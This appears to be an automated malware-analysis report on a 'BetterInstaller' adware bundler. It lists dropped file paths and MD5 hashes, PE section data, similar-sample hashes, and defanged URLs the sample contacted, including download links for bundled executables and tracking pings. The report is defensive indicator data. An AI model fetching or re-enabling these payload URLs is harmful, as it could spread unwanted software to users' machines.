faa7f034b38e729a983965c04cc70fc1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\nsProcess.dll
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\DCytaiesmt_smtyc_setup.exe
3a9ce8edf728d00a44376a75fe7b2aca	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\nsProcess.dll
d851e6f35015abef9a726b0738dded8b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe
39d9593e5c43d81fe9724fb0f7b16cc0	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
43c35081ce0ac367267c5916ab25a817	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe
3663b55452d8e814f62d6fae8eb32d65	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\XTab_Setup2121.exe
f94557f8fd41731a3d180383a516fbe3	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\wpm_v20.0.0.1953_0302.exe
acf2f3ad315964ec2ed1ec4e61bd1f96	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
4f9236be13917b89f7a03dea85f220fa	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
d8ba5f4e6a1594d0e07c886dac0f5f8c	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe
a5bfd6a87161d5dfa81cb5c2c6d29488	c:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.9497	3b952b6cf19449d255a36efe2cd57cc1

Dropped from:

Downloaded by:

Similar by SSDeep:

75b980e852b9e9c8869a8f23e7bbec72

Similar by Lavasoft Polymorphic Checker:

Total found: 3664
7f6d030a23f210ff0f767468fe3edd48
9fe8b39c75f8ed0d56094fe69fbf2c3f
0f8cfe6c36d70739199896a29a9ab59e
9c25ad5c86c1bf46d4564075b019e71c
9c129a294d7cc0fe9ed53d890dbde85f
b9569d981dd7f0516c10295bcb118f65
f3a31b785aef97068400d0987e8505fa
bbef8102d6345f6e5aea4567f3493da7
52900543c17a5e7bf2dfca79aff4ed8e
e994aa2020aa429e7ed46bde26100014
90351671e65f1bb12916d1e9ec86ed49
13df569a80b0b685ba250ad7617fe738
a16c30b5aa236dc78beea2d35406b2b7
b3fa5976434ce1e51a1bd370e2aefd3c
7f9d59c48734f851495f71f0c539537b
22754d84b6a8863fdb8bcc5c56c849cb
58fe62f415a645bea095e193a1676101
2a2a5c35d16c851fbe31471dc439b39c
92c551fd1abfe685fd18911e9ab08526
0d213295b19e20e1fecc37345c3e009b
e7b769fcb3292ae349d046038146b08d
a6fc7dda6bdd315dfd5980ac76fb22d0
ba8a944ac777b66e2f8831e41c48a17e
52f55df57abbba5785a9fc223655676d
43e6206ab7ba8f798441f29b86ac7746

URLs

URL	IP
hxxp://installer.betterinstaller.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d1tlvbabel9f8s.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.46.34
hxxp://d31kvmpgk4j074.cloudfront.net/images/Tokyo/tokyoThreeWavesBG.jpg	54.192.47.2
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d1tlvbabel9f8s.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.230.46.34
hxxp://d1tlvbabel9f8s.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html	54.230.46.34
hxxp://d1tlvbabel9f8s.cloudfront.net/affiliates/eula.html	54.230.46.34
hxxp://d1tlvbabel9f8s.cloudfront.net//images/Tokyo/tokyo_default_logo.png	54.230.46.34
hxxp://d2d55ordy2t3g4.cloudfront.net/sponsored/istartsurf/eula-istartsurf.html	54.192.47.29
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.230.46.53
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.4506643702714991
hxxp://a1726.d.akamai.net/sd?is=sm
hxxp://www.girlliuxiaowei.com/home/smt_istartsurf.exe	208.43.230.100
hxxp://d3dl09kxmzkap.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.44.181
hxxp://download.betterinstaller.com/softwares/4/3/vlc-2.0.6-win32.exe	78.138.97.8
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&0.8929203837719888
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.8556611988204599
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.8677267254584831
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&0.9453808587588621
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.7346496220086862
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.6777669106850298
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&0.45088814072472344
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12334.ashx?e=jmtNUPm9rtmfZNC1TqAoBCFIcgSg6NIW1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZaxFpMtpGdVKHf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12334.ashx?e=jmtNUPm9rtmfZNC1TqAoBCFIcgSg6NIW1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZaxFpMtpGdVKHf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqGy2eGRx58JVeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/install.ashx?e=aonlVHCKlbW/q1OYm6RuNtPoRc85Bdu1BsmMS6ILDwFZxrddMpcl9iuIlCBhM10qy/hL8rqZ RaEgBvOe8 r0o/iiYZxylfDjKjHf0fty0gJvLuonclT9KsmG/QcpI3t8jaU320NFtWR2G31gFuf02hbuYqdnYR4elHMzi3I9ndbsUN4BYD1D8brniShQ3GQyCFJHhXrVgEqPeikK78R8xbc 92iXckPVHGc55fg sAzVwI/Nk9XUivhLPNWKBFljxuZyMs9qMlOKEosbi2HvmynD/t/TSE8Wn2VgKtPO53Dq438Eo8rwMCai5OFCG9k2sbLEbAG5xG4aFl18N5KSUFmrpPPnPUEPKp8MLmAxBTb3FAVgZZ6g4XV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvZXD8UpDtMIIgTnb9Ct7GCA==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/t.ashx?e=/k6kR j50tpQhScA1jb3TyeLiFzXMXTd7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDciSX1Nf V6uy4btG OZIk/4yV9gTVq WZsJKoGkBMBgLPiCC4paVhdBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	198.232.124.192
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&0.6714286301451131
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12334.ashx?e=657cd9m3NQFPNjxRBLtb45TG1atn8PUT/WD6e6SZIIExLHUkaU0662DlNcv2CDURy8Qx5lql27Kov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLynwF8xC533Fcga zuhV9q9HG29LRhDTFibzkphiwDA/6nisgFVrwdvYUha2hWnuyChQC drCF7eFT2u5uzAPX3ujpcwDjCUT T WpjHDyCq1pd/tnMq/ hDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMq1E0CX5ajlwGlDUJZW3E3DOjB5waydGzYNGzxO3tvqE5rkU52X7ZdP	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/install.ashx?e=37A8KpTgCn/T6EXPOQXbtSAtJ9efAD8qWca3XTKXJfYriJQgYTNdKsv4S/K6mfkWhIAbznvPq9KP4omGccpXw4yox39H7ctICby7qJ3JU/SrJhv0HKSN7fI2lN9tDRbVkdht9YBbn9NoW7mKnZ2EeHpRzM4tyPZ3W7FDeAWA9Q/G654koUNxkLUc4qeQHCoOK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nXsIaxVmBeU79Kie/LCIfOGpkkoDB4y5kAJGoigvdQGp5xWkDFBX92oFYZy qCT/5K1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8ny7WsPczQMmyLRljH8EFj00ma0WEFIKwgjT3PDNDBdmkhmqfz4qG /vt4TSnxe7XfnppDKwHRUtU0CISimmamQML/m4OXaZd gaeVbPF6HcvEyf30yPCIJLXqNtnRHDA4DzNDEy52qtOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEY22HuccM6FSHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=iDRrwQhh7wufZNC1TqAoBJfNvU8q5I7v1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KZFLtEFRCIjfXf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqElJDbT23fvBEnqM x5Lofqsq nFs/xGcDk8ga7UPuAMU/yGrBubm/hF9S3iFnl6fKov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLygTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/t.ashx?e=s5Ydxb c7o1PNjxRBLtb45TG1atn8PUT/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lxvNI1drqLyDuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=iDRrwQhh7wufZNC1TqAoBJfNvU8q5I7v1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KZFLtEFRCIjfXf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12334.ashx?e=hXeqmv1Ipen8DUZEY163AB0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ NNWV6Ets02dUu2F7cTkckVKXe7b3ey81Z7hCmg7VZxoKYX3Ti/i3YNKX5c7OcvMUATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxxiLjovDReYKf3 sxlWoMFMTMAmIFjhzdRBuqkwVXyB4EQZ7ESYof1lv4Xj7Qjn2Q==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=hXeqmv1IpemletMtAI4NzdPoRc85Bdu18eUHeqLPXa5AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRyJZkR RdXtlMLSuKCsuLN/hx03Dxo5hagrJighumfZYxV XbSIgCs1JJpRAUOpYSeY/e3xqcYN8E2yJSrxXsmX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9q2WFuR9gGp0U4NjpoFieJauu3GXCrC1oBMLZEX3JIHtu2HA4GAu84U6symfFroYNLUwtK4oKy4s3 HHTcPGjmFqCsmKCG6Z9l jsozdOuMXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3ew7RHyUKK6IuJSmtxq56iWx73v0ShanfqglJnWRFsFlIZe3xkuNds	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=hXeqmv1IpemletMtAI4NzdPoRc85Bdu18eUHeqLPXa5AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRyJZkR RdXtlMLSuKCsuLN/hx03Dxo5hagrJighumfZYxV XbSIgCs1JJpRAUOpYSeY/e3xqcYN8E2yJSrxXsmX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLyg==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/yta33_full.exe	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaF K90vWg22jgTxIUcsgQ w9JTsKksJzkc9GdOcgDY83FHRy24uRaNd5D1mYH yQN7G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3ew7RHyUKK6IuJSmtxq56iWx73v0ShanfqglJnWRFsFlIZe3xkuNds	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaETVDNBVYCm8gJbYhkiyLt47D8pdbzyFnQ7nSguBlE3YrKdy8/8CPwt94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsq8O0TqNFneq xSXuHmZXjPqL76yWygYEwHpIRYA39a3bgzl5Cp fkQ==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaFteqZ6txLbCymF904v4t2Drf57lxgtZUO8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfaXIo2IMa/hX6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tR0hDuzlZFdCYPPi3Zo1figDE8AtRh2XI58lM8JdMld5irOMBnstkejmnzicG6yEv4=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaHIEYMXrTArcgIcLERiDa7o8tPi 5k671A/wSeshr0zAI7XS7xeeDI6jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLyg==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaEUAuICjN6dOdCUHeR8YCF3bJ OTVC78tVTfEBTsUyw6De/zRqXKYW OPNuNctLNP94FMchecJC7mdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSqsymfFroYNLUwtK4oKy4s3 HHTcPGjmFqCsmKCG6Z9lPen4aT11mnk=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaGZkM9Y0jGVT9CUHeR8YCF3tFvvhGRpyzqCUH303iJt4veJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLKvDtE6jRZ3qvsUl7h5mV4z6i slsoGBMB6SEWAN/Wt24M5eQqfn5E=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaEVp nOsv5TlY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaGw5VIziNxXAbPiCC4paVhdcdUGYiS9T3hWvLaCpauVc Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZWJ 5WHu5jG1PT3JZ27DUijjrCJCIYOXzARdXBD1JSeCgOypJPSGZW0=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaHfpIi4FJmsuCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUdIQ7s5WRXQmDz4t2aNX4oAxPALUYdlyOfJTPCXTJXeYqzjAZ7LZHo5p84nBushL	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaH7IeLOkEHwKLPiCC4paVhdBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p9imua2CCuc c Scs327XoBKYX3Ti/i3YPU0Du1cPcKYLvc15CnxI 1VYiZEDqe9fJ6awisFjiQZiadgeg2 ZLTCPCxdK9RxUjpnxaWbehk4T87DWN0ju2aw Ml9V 5osOMQN4cka3W7AOxpFqMx/dgNK9ck8UNoW1cCzddFy80J9Ob7hYQlix0aoe2/agTRYhtk53Vn6HHwE8g4Yt1p46NH6wMvCefXXfa4AbUiuRjCdp8Ch1eJyoUxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux93sO0R8lCiuiLiUprcaueolse979EoWp36oJSZ1kRbBZSGXt8ZLjXbA==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p9DGJ/Sj18N/OIhamBTw4Ppjgb6v7cXpPu tl9Ixk4EPQ8Sv8B/YGWvZ1Wbp24LTauPMVGK5pD9kzU8WfzKjDQ7EEl5CXCNVvDRtCncusP3AXLt/A991DKSzdortYxXWY1vieHtm6P9Yuo/P jz2EcHFepelzazWjtPCeSiyyWq6IVjjf7BbRo2p7yJ8dcNjz1YvcWnBXUICqe8ifHXDY89zZUP8y0YP3Vfq5N3vNZj9InFoJkP5cUtjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLyg==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p/nIXzQtxKJSmstAtp4Waa7FAL52sIXt4UGdUiveYDXawWwrv9hreqncfgJCYrAwfiv0mF/99NCl7O3qltCaH/VMDJUVrwqTLjBaJmx4ySVIURkusuGz3qi3CjlXcBqBuVdCmTe5/N6vgWwrv9hreqncfgJCYrAwfhOJIqIpsq/rV4sB23ZJPC Gcmx ywZ6dp 3Gnb1x163/vlNvqe8jqhk3TjWx/pH088TlE/Us4t1jVvn1Eai8YdLsaRyXgar/GFTvEhYXEDA5KUi/e3eip5EkCZa7jYIXUaVgeh2pzpkcckL4tVIkpXqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1HSEO7OVkV0Jg8 LdmjV KAMTwC1GHZcjnyUzwl0yV3mKs4wGey2R6OafOJwbrIS/g==	198.232.124.192
